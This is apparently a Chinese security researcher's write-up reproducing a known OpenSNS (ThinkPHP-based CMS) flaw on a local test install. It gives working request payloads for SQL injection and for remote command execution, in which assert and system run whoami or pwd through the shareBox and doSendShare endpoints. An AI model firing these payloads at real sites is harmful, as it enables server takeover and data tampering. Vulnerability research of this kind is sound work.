前言

看到了两位师傅的文章,觉得挺有意思,于是跟着文章复现了一遍。

审计过程

官网下载免费版opensns本地搭建

image.png

漏洞分析:

s=weibo/Share/shareBox

该cms是基于tp二次开发的,漏洞触发点是ShareController

image.png

T获取模版文件,传入的query参数完全可控,经过url解码一次

sharbox中

image.png

W:快速Widget输出方法

其实是通过R->A实现对Widget的实例化,这类实例化的就是sharewidget.class.php

image.png

最终调用的是sharewidget.class.php中的fetchShare方法:

image.png

assign是用来打印数组给模版输出的函数,D方法实例化自定义模型类,这里就是Weibo/Share

image.png

getInfo方法中存在D方法,且所有参数可控,意味着这里可以调用人意Model类的任意方法,但是该方法只能有一个参数,

TP自带的Model类:所有的Model类都继承于该类

由于是基于tp的,thinkphp3.2有反序列化漏洞,可以利用phar反序列化,但在这里的该cms删除了部分文件,导致无法利用,未找到可用的pop链。

sql注入

Model基类中的execute函数:

image.png

满足该条件,Model类,函数只有一个参数:

http://localhost/opensns/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=execute%26id=SELECT 1;

由于是继承于model类,所以这里的app和model可以随便填写也行。D方法如果不存在的话会会默认初始化基类。

命令执行

这里利用了common下的ScheduleModel中的runSchedule

image.png

该函数会进行一次D方法,所有参数可控,并且函数可以有两个参数:但是由于使用了parse_str导致我们的参数都是数组,并不少很好控制,文章作者使用了基类中的_validationFieldItem函数:

image.png

该函数的call_user_func_array参数使用数组下标,则完全可控:也满足两个参数的要求

首先进入call_user_func_array必须是val[4]是function,由于case后面没有break,所以即使是function也会执行callback模块的代码,构造如下:

http://localhost/opensns/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule->_validationFieldItem%26id[4]=function%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(whoami)

分析:

首先val[1]是assert没问题,直接传入id[1],主要是args是val[6]或者通过array_unshift在第一位加入$_data,data可控,所以只需将val[0]设置为cmd,data[cmd]=system(whoami)即可

image.png

触发点2

看了下ShareController中的doSendShare方法:可以直接调用getInfo方法,实例化任意model类

image.png

直接调用了触发点一中的getInfo方法:前提是需要登陆

payload:

http://localhost/opensns/index.php?s=weibo/Share/doSendShare  
POST:
content=1&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule->_validationFieldItem%26id[4]=function%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(pwd)

image.png

参考

http://www.0dayhack.net/index.php/2417/

https://mp.weixin.qq.com/s/5_HxHEFrCxOCagGOQPOCDw

Last modification:November 20th, 2021 at 12:47 am